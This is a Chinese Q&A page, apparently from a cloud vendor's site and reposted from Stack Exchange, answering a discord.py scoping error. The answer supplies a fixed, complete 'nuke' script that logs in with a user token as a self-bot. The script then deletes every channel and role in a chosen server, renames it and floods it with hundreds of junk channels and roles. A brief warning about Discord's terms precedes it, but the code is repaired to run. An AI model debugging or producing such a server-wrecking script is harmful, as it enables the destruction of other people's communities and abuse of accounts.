You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

discord.py开发遇Guild is not defined报错的分析解决咨询

问题成因
  • 核心原因是变量作用域不匹配:guild是nuke函数内部声明的局部变量,仅在函数内部可访问,你将print(f"[!] NUKE: Done nuking {guild}")写在了函数外部,执行时无法获取到guild变量,直接触发未定义错误。
  • 同时你的代码还存在多个隐藏问题会导致后续运行失败:
    • client.fetch_guild要求传入整数类型的服务器ID,你直接传入input得到的字符串类型guildid会触发参数类型错误
    • nuke函数声明了无用的self参数,且没有绑定到Discord客户端的执行逻辑,实际运行时函数不会被调用
    • 新版discord.py中create_role需要显式指定name参数,直接传入字符串会触发参数错误
修复方案

风险提示:使用用户token(bot=False)进行自动化操作、恶意破坏Discord服务器属于违反Discord服务条款的行为,会导致账号永久封禁,以下仅针对代码语法问题提供修复,不鼓励任何违规操作。

import discord
# 这里需提前导入你用到的c模块(终端颜色输出)

token = input("[!] Token: ")
# 声明Discord客户端实例
intents = discord.Intents.default()
client = discord.Client(intents=intents)

async def nuke():
    # 输入转成整数类型适配接口要求
    guildid = int(input("[?] Guild Id to nuke: "))
    guild = await client.fetch_guild(guild_id=guildid)
    question = input(f"[?] Are you sure you want to nuke {guild} if not then close the application.")
    for channel in guild.channels:
        try:
           await channel.delete()
           print(c.GREEN+f"[-] CHANNEL: {channel} deleted")
        except:
           print(c.RED+f"[x] CHANNEL: Couldn't delete {channel}")
    for role in guild.roles:
        try:
            await role.delete()
            print(c.GREEN+f"[-] ROLE: {role} deleted")
        except:
            print(c.RED+f"[x] ROLE: Couldn't delete {role}")
    await guild.edit(default_notifications=discord.NotificationLevel.all_messages,verification_level=discord.VerificationLevel.extreme ,name="}﷽﷽﷽", icon=None)
    # 注:Discord有服务器频道/角色数量上限,无法创建超过上限的资源,触发限制后自动中断
    for x in range(500):
        try:
            await guild.create_text_channel(name="﷽﷽﷽﷽﷽﷽﷽﷽﷽")
            await guild.create_voice_channel(name="﷽﷽﷽﷽﷽﷽﷽﷽﷽")
            await guild.create_category(name="﷽﷽﷽﷽﷽﷽﷽﷽﷽")
        except:
            break
    for x in range(250):
        try:
            # 显式指定name参数适配接口要求
            await guild.create_role(name="﷽﷽﷽﷽﷽﷽﷽﷽")
        except:
            break
    # 打印逻辑移到函数内部,可正常访问guild变量
    print(f"[!] NUKE: Done nuking {guild}")
    await client.close()
    return

# 绑定到客户端就绪事件,启动后自动执行销毁逻辑
@client.event
async def on_ready():
    await nuke()

try:
  client.run(token, bot=False)
except:
  print("Token Invalid")

内容的提问来源于stack exchange,提问作者warden

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.09.23 23:42:00